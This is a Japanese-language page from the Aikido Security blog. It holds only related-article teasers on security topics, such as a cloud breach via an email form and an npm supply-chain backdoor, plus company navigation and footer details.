シンプルな電子メール送信フォームを通じて、ある新興企業のクラウドがどのようにハッキングされたのか?

エンジニアリング
2023年4月10日
もっと読む
?による
フェリックス・ガリオー

Aikido Security、開発者ファーストのソフトウェアセキュリティプラットフォーム構築のため200万ユーロのプ投資ラウンドを調達

ニュース
2023年1月19日
もっと読む
?による

サプライチェーンのセキュリティにロックファイルが重要な理由

もっと読む
マルウェア出会いガイド故宮マルウェアの種類を理解する
?による
チャーリー・エリクセン

マルウェア出会いガイド故宮マルウェアの種類を理解する

マルウェア
2025年3月31日
AikidoがAWSパートナーネットワークに加盟
?による
ヨハン・デ・キューレナー

AikidoがAWSパートナーネットワークに加盟

ニュース
2025年2月11日
XRPサプライチェーン攻撃:NPMの公式パッケージが暗号を盗むバックドアに感染
?による
チャーリー・エリクセン

XRPサプライチェーン攻撃:NPMの公式パッケージが暗号を盗むバックドアに感染

2025年3月31日

32秒で安全を確保

△GitHub、GitLab、Bitbucket、または Azure DevOps アカウントを接続すると、無料でリポジトリのスキャンを開始できます。

無料で始める
お客様のデータは共有されません - 読み取り専用アクセス
Aikido ダッシュボード
会社概要
製品価格について採用情報お問い合わせパートナー制度
リソース
資料公開APIドキュメント脆弱性データベースブログインテグレーション用語集プレスリリースカスタマーレビュー
セキュリティ
トラストセンターセキュリティの概要クッキー設定の変更
リーガル
プライバシーポリシークッキーポリシー利用規約マスターサブスクリプション契約データ処理契約
使用例
コンプライアンスSAST & DASTASPM脆弱性管理SBOMの生成WordPressセキュリティコード保護
産業別
ヘルステックメドテックフィンテックセキュリティテックリーガルテックHRテックエージェント向け企業向けPEおよびグループ会社向け
比較する
全ベンダーとの比較vs Snyk対Wizvs Mendvs オルカ・セキュリティvs Veracodevs GitHubアドバンスドセキュリティvs GitLab Ultimatevs Checkmarxvs Semgrepvs SonarQube
リンクする
hello@aikido.dev
LinkedInX
サブスクライブ
すべての最新情報を入手
まだまだ。
👋🏻 ご登録ありがとうございます!
チーム Aikido
まだまだ。
© 2025 Aikido Security BV | BE0792914919
🇪🇺 登録住所:Coupure Rechts 88, 9000, Ghent, Belgium
🇪🇺 事務所所在地:Gebroeders van Eyckstraat 2, 9000, Ghent, Belgium
🇺🇸 事務所住所:95 Third St, 2nd Fl, San Francisco, CA 94103, US
SOC 2
コンプライアンス
ISO 27001
コンプライアンス